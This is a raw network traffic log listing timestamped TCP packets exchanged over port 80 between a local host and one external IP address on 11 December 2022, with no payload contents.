Dec 11, 2022 09:26:40.777430058 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.777442932 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.777486086 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.777493000 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.777525902 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.777566910 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.777569056 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.777606964 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.777647018 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.777650118 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.777693033 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.777734041 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.777739048 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.777775049 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.777817011 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.777818918 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.777857065 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.777896881 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.777899027 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.777940989 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.777978897 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.778386116 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.806390047 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.806447029 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.806512117 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.806561947 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.806581974 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.806622982 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.806658030 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.806703091 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.806739092 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.806761026 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.806812048 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.806850910 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.806910038 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.807008028 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.807049990 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.807051897 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.807118893 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.807168007 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.807188034 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.807229996 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.807272911 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.807298899 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.807360888 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.807399035 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.807434082 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.807492018 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.807533026 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.807559967 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.807625055 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.807662964 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.807667017 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.807729006 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.807771921 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.807796955 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.807857990 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.807915926 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.807965040 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.807965040 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.808010101 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.808029890 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.808094978 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.808160067 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.808186054 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.808248043 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.808288097 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.808307886 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.808351040 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.808415890 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.808422089 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.808495998 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.808537960 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.808562994 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.808623075 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.808666945 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.808669090 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.808729887 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.808778048 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.808801889 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.808875084 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.808918953 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.808932066 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.808960915 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.809001923 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.809005022 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.809043884 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.809088945 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.809088945 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.809132099 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.809175014 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.809178114 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.809216976 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.809258938 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.809262991 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.809299946 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.809340954 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.809344053 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.809381962 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.809423923 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.809427977 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.809464931 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.809505939 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.809521914 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.809546947 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.809588909 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.809591055 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.809629917 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.809670925 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.809679031 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.809712887 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.809755087 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.809796095 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.809828043 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.809837103 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.809870005 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.809878111 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.809921026 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.809957981 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.809962988 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.810004950 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.810080051 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.810229063 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.838627100 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.838690996 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.838768959 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.838814020 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.838836908 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.838893890 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.838947058 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.838994980 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.838999987 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.839065075 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.839106083 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.839111090 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.839149952 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.839193106 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.839198112 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.839263916 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.839306116 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.839310884 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.839349031 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.839390039 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.839400053 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.839432001 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.839471102 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.839473009 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.839519978 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.839564085 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.839586020 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.839628935 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.839672089 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.839719057 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.839766979 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.839808941 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.839812994 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.839852095 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.839916945 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.839921951 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.839965105 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.840006113 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.840007067 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.840048075 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.840094090 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.840131998 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.840176105 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.840215921 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.840217113 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.840329885 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.840373039 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.840440989 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.840482950 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.840521097 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.840523958 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.840565920 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.840610027 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.840639114 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.840677977 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.840714931 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.840718985 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.840760946 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.840800047 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.840801954 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.840842009 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.840879917 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.840882063 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.840923071 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.840964079 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.840966940 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.841003895 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.841046095 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.841046095 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.841085911 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.841125011 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.841129065 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.841169119 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.841209888 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.841211081 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.841250896 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.841293097 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.841293097 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.841332912 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.841370106 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.841373920 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.841414928 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.841454983 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.841458082 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.841495991 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.841536045 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.841538906 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.841577053 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.841619015 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.841619968 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.841660023 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.841718912 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.841718912 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.841761112 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.841799974 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.841804028 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.841845989 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.841882944 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.841886997 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.841928005 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.841986895 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.842210054 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.870486021 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.870564938 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.870608091 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.870647907 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.870672941 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.870717049 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.870721102 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.870760918 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.870800972 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.870806932 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.870841980 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.870902061 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.871046066 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.871088982 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.871174097 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.871181965 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.871222973 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.871264935 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.871294975 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.871335983 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.871378899 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.871393919 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.871419907 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.871468067 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.871517897 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.871561050 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.871602058 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.871611118 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.871644020 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.871685982 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.871694088 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.871769905 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.871812105 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.871819973 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.871853113 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.871893883 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.871901989 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.871985912 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.872045040 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.872054100 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.872127056 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.872172117 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.872184038 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.872212887 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.872265100 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.872301102 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.872344017 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.872384071 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.872405052 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.872423887 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.872464895 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.872472048 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.872560024 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.872600079 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.872641087 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.872651100 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.872680902 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.872714043 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.872754097 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.872796059 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.872806072 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.872838020 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.872898102 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.872939110 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.872957945 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.872981071 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.873022079 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.873024940 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.873061895 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.873095989 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.873102903 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.873147964 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.873151064 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.873189926 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.873231888 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.873243093 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.873271942 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.873312950 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.873353004 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.873369932 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.873393059 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.873428106 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.873433113 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.873473883 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.873492956 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.873513937 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.873555899 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.873595953 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.873605013 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.873636961 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.873662949 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.873677969 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.873718023 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.873723984 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.873759031 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.873800039 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.873826027 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.873847961 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.873895884 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.873902082 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.873945951 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.875170946 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.875216961 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.877295017 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.899101019 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.899180889 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.899295092 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.902105093 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.902254105 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.902297020 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.902374029 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.902416945 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.902457952 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.902457952 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.902498960 CET	80	49738	193.23.244.244	192.168.2.3
